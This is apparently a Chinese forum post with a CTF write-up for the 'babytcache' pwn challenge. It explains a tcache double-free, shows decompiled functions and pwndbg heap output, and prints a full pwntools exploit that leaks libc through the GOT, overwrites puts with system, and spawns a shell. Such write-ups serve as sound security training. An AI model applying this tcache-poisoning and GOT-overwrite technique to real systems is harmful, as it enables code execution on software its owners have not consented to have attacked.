pwn-babytcache
题目链接https://github.com/ThunderJie/CTF-Practice/blob/master/CTF-Pwn/babytcache/babytcache这道题需要了解一些tcache的知识,CTF-Wiki上有详细的介绍,简单来说就是tcache_put() 的不严谨static __always_inline voidtcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries;
tcache->entries = e;
++(tcache->counts);
}因为没有任何检查,所以我们可以对同一个 chunk 多次 free,造成 cycliced list,这里其实就有点像Double Free的感觉,只是Double Free不能连续free而这里可以,运行了解一下程序,是一个常见的管理系统root@Thunder_J-virtual-machine:~/桌面# ./babytcache
NoteBook v0.1
1.add a note
2.delete a note
3.show a note
4.exit
>IDA分别分析一下每个函数的内容add_note这里将创建的地址都放在了ptr[]的地方,也就是0x6020E0处int add_a_note()
{
int v1; // ebx
if ( dword_6020C0 > 9 )
return puts("Full!");
printf("content:");
v1 = dword_6020C0;
ptr = (char *)malloc(0x50uLL);
sub_4008A6((__int64)ptr, 0x50u);
++dword_6020C0;
return puts("Done.");
}delete_notevoid delete_note()
{
int v0; //
printf("index:");
v0 = sub_400920();
if ( v0 < dword_6020C0 )
free(ptr);
else
puts("out of range!");
}show_noteint show_a_note()
{
int result; // eax
int v1; //
printf("index:");
v1 = sub_400920();
if ( v1 < dword_6020C0 )
result = puts(ptr);
else
result = puts("out of range!");
return result;
}我们首先创建一个note,然后释放三次pwndbg> heap
0x603000 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 593,
fd = 0x300000000,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603250 FASTBIN {
mchunk_prev_size = 0,
mchunk_size = 97,
fd = 0x603260,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6032b0 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 134481,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> bin
tcachebins
0x60 : 0x603260 ◂— 0x603260 /* '`2`' */ #free three times
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
Empty这道题并没有给system函数和’/bin/sh’,所以我们需要泄露出system函数的地址,然后想办法改got表。我们将0x6020e0位置的指针改为puts函数的got表指针,然后就可以泄露puts函数的在libc的地址,计算出system函数的地址,然后用同样的方法将puts的got表覆盖为system函数的地址,最后调用puts()实现getshell,偏移的计算是在接受到puts函数地址的时候,用vmmap打印出libc地址,然后相减就行了from pwn import *
r = process('./babytcache')
symbol = ELF('./babytcache')
if args.G:
gdb.attach(r)
def add_note(content):
r.recvuntil('>')
r.sendline('1')
r.recvuntil('content:')
r.sendline(content)
def delete_note(index):
r.recvuntil('>')
r.sendline('2')
r.recvuntil('index:')
r.sendline('%d'%index)
def show_note(index):
r.recvuntil('>')
r.sendline('3')
r.recvuntil('index:')
r.sendline('%d'%index)
add_note('aaaaaaaa')
delete_note(0)
delete_note(0)
delete_note(0)
add_note(p64(0x6020e0+0x8))
add_note('bbbb')
add_note(p64(symbol.got['puts']))
show_note(1)
puts_addr = (u64(r.recv(6)+ '\x00\x00')) #receive 'puts'
print hex(puts_addr)
padding1 = 0x809c0
padding2 = 0x4f440
libc_addr = puts_addr - padding1
system_addr = libc_addr + padding2
print hex(libc_addr)
print hex(system_addr)
r.sendline('2')
r.recvuntil('index:')
r.sendline('0')
delete_note(0)
delete_note(0)
add_note(p64(symbol.got['puts']))
add_note('/bin/sh')
add_note(p64(system_addr))
r.sendline('3')
r.sendline('0')
delete_note(0)
r.interactive() 好难呀~{:3_53:} Shin 发表于 2019-3-8 08:17
确实。。。建议先看钞sir的Double Free Thunder_J 发表于 2019-3-8 14:26
我还在练习pwndbg 两眼懵逼 看不懂了哈哈哈哈 攒bb 顺带赞楼主!!! 太给力了,这么多好东西!
页:
[1]